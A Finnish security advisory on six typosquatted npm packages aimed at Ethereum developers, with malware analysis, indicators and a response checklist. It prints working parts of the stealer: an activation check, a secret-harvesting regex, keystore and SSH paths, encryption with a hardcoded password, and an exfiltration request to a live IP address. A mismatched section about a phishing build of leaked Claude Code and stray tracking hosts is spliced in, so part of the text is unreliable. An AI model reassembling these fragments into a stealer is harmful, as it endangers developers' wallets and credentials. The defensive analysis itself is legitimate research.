EVMDeFi npm Typosquatting-hyökkäys varastaa kehittäjän avaimet

EVM/DeFi npm Typosquatting-hyökkäys varastaa kehittäjän avaimet

TL; DR

6. toukokuuta 2026 yksi ainoa npm-julkaisija namikazesarada010206julkaisi kuusi haitallista pakettia, jotka kohdistettiin Ethereumin, Solidityn ja DeFi-kehittäjäekosysteemiin.

Paketit, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsja web3-utils-core, käytti uskottavia nimiä, jotka oli suunniteltu näyttämään suosittujen Web3-työkalujen apukirjastoilta.

Kaikki kuusi pakettia sisälsivät saman telemetry.js tiedosto. Tiedosto oli tavujen identtinen koko klusterissa, ja siinä oli SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Haittaohjelma ei käynnisty asennuksen aikana. Ei ole olemassa preinstall or postinstall koukku. Sen sijaan se aktivoituu, kun paketti tuodaan require().

Tuo yksityiskohta on tärkeä.

Implantti odottaa, kunnes kehittäjä todella käyttää pakettia. Sitten se tarkistaa, näyttääkö työasema oikealta Ethereum/Solidity-kehitysympäristöltä. Se etsii Alchemy- tai Infura-avaimia, yksityisiä avaimia, muistisääntöjä, käyttöönottoavaimia tai paikallista Foundry-hakemistoa.

Jos isäntä täsmää, varastaja kerää SSH-yksityiset avaimet, Foundry-/Geth-/Brownie-lompakoiden avainsäilöt, .env* tiedostoja ja arkaluonteisia ympäristömuuttujia. Se salaa paketin AES-256-GCM-salauksella kovakoodatulla salasanalla ja suodattaa sen raakaan IPv4 C2 -päätepisteeseen, jossa TLS-vahvistus on poistettu käytöstä.

Xygenin haittaohjelmien varhaisvaroitusjärjestelmä (MEW) vahvisti kaikki kuusi pakettia haitallisiksi. npm-rekisterin poistoraporttipaketti on vireillä.

Klusteri: Kuusi pakettia, yksi julkaisija

Julkaisijan tili namikazesarada010206 oli linkitetty vahvistamattomaan Gmail-osoitteeseen namikazesarada010206@gmail.com.

Kampanja julkaistiin yhden päivän julkaisuna 6. toukokuuta 2026. Kaikki kuusi pakettia versioitiin seuraavasti: 1.0.0, ei ollut lainkaan ajonaikaisia ​​riippuvuuksia ja toimitti vain kolme tiedostoa:

package.json index.js telemetry.js

He ilmoittivat myös saman lähdekoodivaraston:

https://github.com/harunosakura030303-maker/evmchain-config

MEW-skannerit lukitsivat kolme ensimmäistä pakettia ensimmäisen julkaisun yhteydessä. Loput kolme merkittiin pakotetusti analyytikoiden tarkasteltua julkaisijan npm-profiilia. Kun samat tavuidenttiset telemetry.js vahvistettiin koko klusterissa, ne suljettiin haitallisiksi johdonmukaisuuden perusteella.

Paketti Versio npm Julkaistu MEW-lippu Tuomio
viem-ydin 1.0.0 2026-05-06 01:38:44Z #51049 Ilkeä
viem-utils-core 1.0.0 2026-05-06 #51050 Ilkeä
hardhat-core-utils 1.0.0 2026-05-06 #51051 Ilkeä
evm-utils 1.0.0 2026-05-06 #51069 Johdonmukaisesti haitallinen
valimo-utils 1.0.0 2026-05-06 #51071 Johdonmukaisesti haitallinen
web3-utils-core 1.0.0 2026-05-06 #51070 Johdonmukaisesti haitallinen

Nimeämisstrategia on yksinkertainen mutta tehokas.

Nämä paketit eivät jäljittele tarkkoja ylävirran nimiä. Sen sijaan ne käyttävät uskottavia ”apuohjelma”-päätteitä, kuten -core, -utilsja -utils-coreSe saa ne näyttämään kumppanikirjastoilta, joita kehittäjä saattaisi odottaa näkevänsä Web3-työkalujen lähellä.

Haitallinen paketti Laillinen kohde
viem-ydin viem, suosittu Ethereum TypeScript -asiakasohjelma
viem-utils-core viem
hardhat-core-utils kypärä, valtavirran Solidityn kehitysympäristö
evm-utils Yleinen EVM-työkalujen nimiavaruus
valimo-utils valimo, Solidityn työkaluketju
web3-utils-core web3-apuohjelmat, Web3.js-apuohjelmat

Tämä on ”lisäpakkaus”-malli: ei ”minä olen oikea paketti”, vaan ”näytän kohtuulliselta auttajalta oikean paketin ympärillä”.

DeFi-kehittäjille, jotka toimivat nopeasti, se riittää luomaan riskin.

Mitä tapahtuu, kun paketti tuodaan

Hyökkäysketju on pieni, harkittu ja keskittyy kryptokehitysympäristöihin.

Asennuskoukkua ei ole. Sen sijaan jokainen pakkaus sisältää index.js joka vie tynkätoiminnot ja lataa sitten haitallisen telemetriamoduulin.

require('./telemetry').init();

Tämä tarkoittaa, että haittaohjelma aktivoituu ensimmäisen tuonnin yhteydessä.

Tämä on hyökkääjälle toiminnallisesti hyödyllistä. Monet skannerit ja hiekkalaatikot keskittyvät asennuksenaikaiseen toimintaan. Tämä paketti odottaa, kunnes kehittäjä, koontikomentosarja, testipaketti tai ajonaikainen polku todella käyttää sitä.

Aktivointiportti: Käynnistä vain oikeilla Web3-kehittäjätyöasemilla

Implantin tärkein osa on aktivointiportti.

Haittaohjelma tarkistaa ympäristömuuttujia, joita yleisesti löytyy Ethereum/Solidity-kehittäjien koneista:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Se tarkistaa myös, näyttääkö Foundry olevan asennettuna:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Jos kumpikaan ehto ei ole tosi, funktio palauttaa arvon eikä tee mitään.

Tämä tekee paketista hiljaisemman yleisissä analyysiympäristöissä. Hiekkalaatikko, jossa ei ole Foundry-, Alchemy- tai Infura-avaimia, yksityisiä avaimia tai muistisääntöjä, saattaa nähdä vaarattoman näköisen tuonnin.

Vastaavalla isännällä haittaohjelma odottaa 60–90 sekuntia ennen keräämistä:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Viive vähentää ilmeistä korrelaatiota tuonnin ja ulosvirtauksen välillä. .unref() Kutsu antaa isäntäprosessin myös lopettaa normaalisti, jos paketti tuotiin lyhytikäisenä komentosarjana.

Tämä ei ole kohinaista "smash-and-grab"-käyttäytymistä. Se on kohdennettu varastava hyökkäys, joka on suunniteltu välttämään suoritusta, ellei kehittäjäympäristö ole varastamisen arvoinen.

Mitä varas kerää

Kun aktivointiprosessi on läpäissyt sen, haittaohjelma kerää tietoja Web3-kehityksessä tärkeimmistä lähteistä: yksityiset avaimet, lompakon avainsäilöt, käyttöönottotiedot, pilvisalaisuudet, npm-tokenit ja paikalliset projektiasetukset.

Lähde Mitä kerätään
prosessi.ympäristö Mikä tahansa muuttuja, joka vastaa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Tiedostot, jotka sisältävät PRIVATE KEY- tai BEGIN OPENSSH -käskyn, mukaan lukien tiedoston koko sisältö
~/.foundry/keystores/* Foundry-lompakon avainsäilötiedostot
~/.ethereum/keystore/* Geth-lompakon avainsäilötiedostot
~/.brownie/tilit/* Brownie-lompakon avainsäilötiedostot
${cwd}/.env Koko tiedoston sisältö
${cwd}/.env.local Koko tiedoston sisältö
${cwd}/.env.production Koko tiedoston sisältö
${cwd}/.env.development Koko tiedoston sisältö
os.hostname() Isännän metatiedot
krypto.satunnainenUUID() Uhrin/istunnon tunniste
Päivämäärä.nyt() Kokoelman aikaleima
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA-tokenit ovat:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Emme ole pystyneet vahvistamaan, oliko telemetria operaattorin omaa analytiikkaa vai erikseen kaupallistettua kanavaa. ATTA-tokenit ovat samat molemmissa tutkimissamme otoksissa.

Klusteri B: heibai

claude.hk OAuth-tietojenkalastelu + ANTHROPIC_BASE_URL-kaappaus

Huhtikuun 1. päivän otos on kampanjan karkeampi ja varhaisempi osa.

heibai:2.1.88-claude.hk-4 julkaisi wuguoqiangvip28, tili, joka luotiin 7. kesäkuuta 2025. Paketti versioi itsensä nimenomaisesti laillista sisältöä vastaan 2.1.88 Ihmisen aiheuttama vapautuminen.

Se ei vaivaa CA-sertifioidun MITM:n kanssa. Sen sijaan se valehtelee käyttäjälle OAuth-päätepisteestä.

Vuodetun Claude Code -lähdekoodin päälle on tehty seuraavat haitalliset lisäykset:

Lähde Mitä kerätään
prosessi.ympäristö Mikä tahansa muuttuja, joka vastaa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Tiedostot, jotka sisältävät PRIVATE KEY- tai BEGIN OPENSSH -käskyn, mukaan lukien tiedoston koko sisältö
~/.foundry/keystores/* Foundry-lompakon avainsäilötiedostot
~/.ethereum/keystore/* Geth-lompakon avainsäilötiedostot
~/.brownie/tilit/* Brownie-lompakon avainsäilötiedostot
${cwd}/.env Koko tiedoston sisältö
${cwd}/.env.local Koko tiedoston sisältö
${cwd}/.env.production Koko tiedoston sisältö
${cwd}/.env.development Koko tiedoston sisältö
os.hostname() Isännän metatiedot
krypto.satunnainenUUID() Uhrin/istunnon tunniste
Päivämäärä.nyt() Kokoelman aikaleima

Kohdeluettelo on erittäin tarkka. Kyseessä ei ole yleinen selainvarkaus tai laaja-alainen tunnistetietojen kaavinta. Se on suunnattu kehittäjille, jotka rakentavat, testaavat, ottavat käyttöön tai käyttävät Ethereum-sovelluksia.

Foundry-, Geth- ja Brownie-avainten säilyttäminen on erityisen tärkeää. Nämä tiedostot voivat edustaa suoraa pääsyä lompakkoihin tai käyttöönottoidentiteetteihin. Jos hyökkääjä pystyy yhdistämään ne salasanoihin, muistisääntöihin tai ympäristösalaisuuksiin, hän voi mahdollisesti siirtää varoja, esiintyä käyttöönottajina tai vaarantaa älysopimusten toimintoja.

Salaus ennen vuotoa

Haittaohjelma salaa kerätyt tiedot ennen niiden lähettämistä.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Kovakoodattu salasana on:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Lopullinen hyötykuorma kääritään JSON-muotoon:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Salaus ei itsessään tee haittaohjelmasta kehittyneempää. Se kuitenkin vaikeuttaa verkon tarkastusta. Lähtöliikennettä tarkkaileva puolustaja näkisi JSON-hyötykuorman, mutta ei varastettuja avaimia, lompakkotiedostoja tai muita vastaavia tietoja. .env sisältöä ilman kovakoodattua salasanaa ja salauksen purkulogiikkaa.

Purkautuminen raakaan IPv4 C2:een

Purkautumispolku on kiinteästi koodattu:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Haittaohjelma lähettää tietoja:

https://76.13.37.80:8443/api/v1/telemetry

Kaksi yksityiskohtaa erottuu joukosta.

Ensinnäkin C2 on raaka IPv4-osoite eikä verkkotunnus. Tämä poistaa verkkotunnuksen rekisteröinnin tarpeen ja estää joitakin verkkotunnuspohjaisia ​​​​tunnistuksia.

Toiseksi, TLS-vahvistus on poistettu käytöstä seuraavilla tavoilla:

rejectUnauthorized: false

Tämä sallii haittaohjelman hyväksyä minkä tahansa varmenteen, mukaan lukien itse allekirjoitetut varmenteet. Toisin sanoen hyökkääjä saa salatun tiedonsiirron ilman voimassa olevaa julkista varmennetta.

Uudelleenyrityslogiikkaa eikä varapalvelinta ole. Virheet niellään hiljaa. Tämä pitää paketin hiljaisena, jos C2 on offline-tilassa tai tavoittamattomissa.

Miksi tällä kampanjalla on väliä

Useimmat kehittäjille suunnatut haitalliset npm-paketit jahtaavat laajoja tunnistetietoja: npm-tokeneja, AWS-avaimia, GitHub-tokeneja tai .npmrc tiedostoja.

Tämä kampanja kaventaa kohderyhmää.

Se etsii merkkejä siitä, että kone kuuluu Ethereum- tai Solidity-kehittäjälle. Sitten se hakee juuri ne resurssit, joilla on merkitystä kyseisessä ympäristössä: lompakon avainsäilöjä, yksityisiä avaimia, muistisääntöjä, käyttöönottoavaimia, .env tiedostot ja SSH-avaimet.

Se tekee kampanjasta vaarallisemman Web3-tiimeille kuin geneerinen NPM-varas.

Onnistunut tartunta voi paljastaa:

  • Käyttöönottolompakot
  • Älysopimusten järjestelmänvalvojan avaimet
  • RPC-palveluntarjoajan avaimet
  • Pilvikäyttöönoton tunnistetiedot
  • npm-julkaisutunnukset
  • SSH-yhteys kehittäjä- tai rakennusinfrastruktuuriin
  • Projektin salaisuudet tallennettuna .env Tiedostojen
  • Lompakon avainsäilö Foundrylle, Gethille tai Brownielle

Myös pakettien nimet osoittavat selkeää sosiaalista manipulointia. Ne kohdistuvat Web3-kehittäjäekosysteemiin tuttujen työkalujen nimien kautta: viem, hardhat, foundry, evmja web3.

Toimijan ei tarvitse vaarantaa varsinaisia ​​projekteja. He tarvitsevat vain kehittäjän asentamaan näennäisen kohtuullisen kumppanipaketin.

Vahingoittumisen ja havaitsemisen indikaattorit

Paketit ja julkaisija
Kenttä Arvo
npm-julkaisija namikazesarada010206
Julkaisijan sähköpostiosoite namikazesarada010206@gmail.com
sähköposti vahvistettu Ei
SCM todennettu Ei
Mainepisteet 1.0
Jäsenyydet viem-core, viem-utils-core, hardhat-core-utils, evm-utils, valimo-utils, web3-utils-core
versiot Kaikki 1.0.0
Lähdetietovarasto https://github.com/harunosakura030303-maker/evmchain-config
Vahvistettu haitalliseksi Kaikki kuusi pakettia
verkkotuotteet
Tyyppi Arvo
C2-päätepiste https://76.13.37.80:8443/api/v1/telemetry
C2 IP-osoite 76.13.37.80
C2-portti 8443/tcp
TLS-toiminta hylkääLuvaton: false
Hyötykuorman kaava {"v":2,"iv": ,"d": ,"t": }
Tiedostot ja tiivisteet
Tyyppi Arvo
telemetria.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Pakkauksen asettelu paketti.json, index.js, telemetria.js
Tiedostojen määrä 3
Arvioitu kokonaiskoko 3.4 KB

Aktivointisignaalit

Haittaohjelma tarkistaa seuraavat ympäristömuuttujat:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Se tarkistaa myös:

~/.foundry/

Kohdistetut isäntäpolut

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Kokoelman regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Havaitsemishuomautuksia

Useat säännöt kuvaavat tätä kampanjaa ilman täydellistä käyttäytymisanalyysiä.

Tarkista ensin lukitustiedostot kuuden haitallisen paketin nimen varalta:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Mikä tahansa ottelu package-lock.json, yarn.lock, pnpm-lock.yamltai node_modules historiaa tulisi käsitellä vakavana tapahtumana.

Toiseksi, valvo Node.js-prosesseja, jotka lukevat lompakon avainsäilöpolkuja:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Tämä on harvoin sallittua toimintaa apupaketille, joka on tuotu apuohjelmana. Se on erityisen epäilyttävää, jos sitä seuraa lähtevä verkkoliikenne.

Kolmanneksi, estä tai hälytä HTTPS-yhteyksistä seuraaviin kohteisiin:

76.13.37.80:8443

Varsinkin kun pyyntöpolku on:

/api/v1/telemetry

Neljänneksi, etsi npm-paketteja, jotka yhdistävät nämä ominaisuudet:

  • Uusi tai huonomaineinen julkaisija
  • Vahvistamaton Gmail-tili
  • Web3:n viereisen paketin nimi
  • Ei merkityksellistä arkistohistoriaa
  • Pieni pakkausasettelu
  • index.js joka lataa telemetria- tai aputiedoston
  • Ei ajonaikaisia ​​riippuvuuksia
  • Herkkä ympäristömuuttujien kokoelma
  • Lompakon avainsäilön käyttöoikeus

Tämä malli on hyödyllisempi kuin yksittäinen IOC, koska seuraava paketti voi muuttaa IP-osoitetta, mutta säilyttää saman kohdistuslogiikan.

Kompromissivastauksen tarkistuslista

Jos kehittäjä käytti jotakin kuudesta paketista ja hänen ympäristönsä vastasi aktivointiporttia, työasemaa käsitellään vaarantuneena.

Tämä sisältää koneet, joihin on asennettu Foundry, ympäristössä olevat Alchemy- tai Infura-avaimet, yksityiset avaimet, muistisäännöt tai käyttöönottoavaimet.

Suositeltu vastaus:

  • Irrota isäntäkone verkosta.
  • säilyttää node_modules, lukitustiedostot, komentotulkin historia ja asiaankuuluvat lokit rikostutkintaa varten.
  • Kierrätä jokainen SSH-avainpari alla ~/.ssh/.
  • Kierrätä lompakkoavaimia jokaiselle avainsäilölle alla olevassa luettelossa ~/.foundry, ~/.ethereumja ~/.brownie.
  • Siirrä varoja uusiin lompakoihin.
  • Kierrätä jokaista tallennettua salaisuutta .env* tiedostot kehittäjän työstämissä arkistoissa.
  • Kierrä kokoelman säännöllistä lauseketta vastaavia ympäristösalaisuuksia, mukaan lukien AWS-avaimet, npm-tokenit, käyttöönottotokenit, API-avaimet, yksityiset avaimet, siemenet ja muistisäännöt.
  • Auditoi pilvipalvelun, npm:n, GitHubin, RPC-palveluntarjoajan ja lohkoketjun toimintaa paketin ensimmäisestä asennuksesta lähtien.
  • Asenna työasema uudelleen ennen uudelleenkäyttöä.

Mitä puolustajien tulisi ottaa mukaansa

Tämä kampanja osoittaa, miten npm-typosquatting kehittyy arvokkaiden kehittäjien ekosysteemien ympärillä.

Toimija ei tarvinnut sinnikkyyttä. He eivät tarvinneet hämärtämistä. He eivät edes tarvinneet asennuksen aikaista suoritusta.

Sen sijaan he luottivat kolmeen asiaan:

  • Uskottavat Web3-pakettien nimet
  • Aktivointi vain oikeilla kryptovaluuttojen kehityskoneilla
  • Ethereum-kehittäjille tärkeimpien tiedostojen ja salaisuuksien suora varastaminen

Tämä tekee kampanjasta helposti ohitettavan laajassa skannauksessa ja vaarallisen, kun se osuu oikeaan ympäristöön.

Web3-tiimeille opetus on selvä: käsittele riippuvuuksien nimiä osana uhkamalliasi. Paketti, joka näyttää harmittomalta apupaketilta, voi silti olla lyhin tie lompakon vaarantamiseen.

Ilmoitettu npm-rekisteriin. Päivitämme tätä viestiä, kun julkaisijan tili ja paketit on poistettu.

sca-työkalut-ohjelmisto-koostumusanalyysityökalut
Priorisoi, korjaa ja suojaa ohjelmistoriskisi
Hanki ilmainen tili.
Luottokorttia ei vaadita.

Turvaa ohjelmistokehityksesi ja -toimituksesi

Xygeni-tuotepaketin kanssa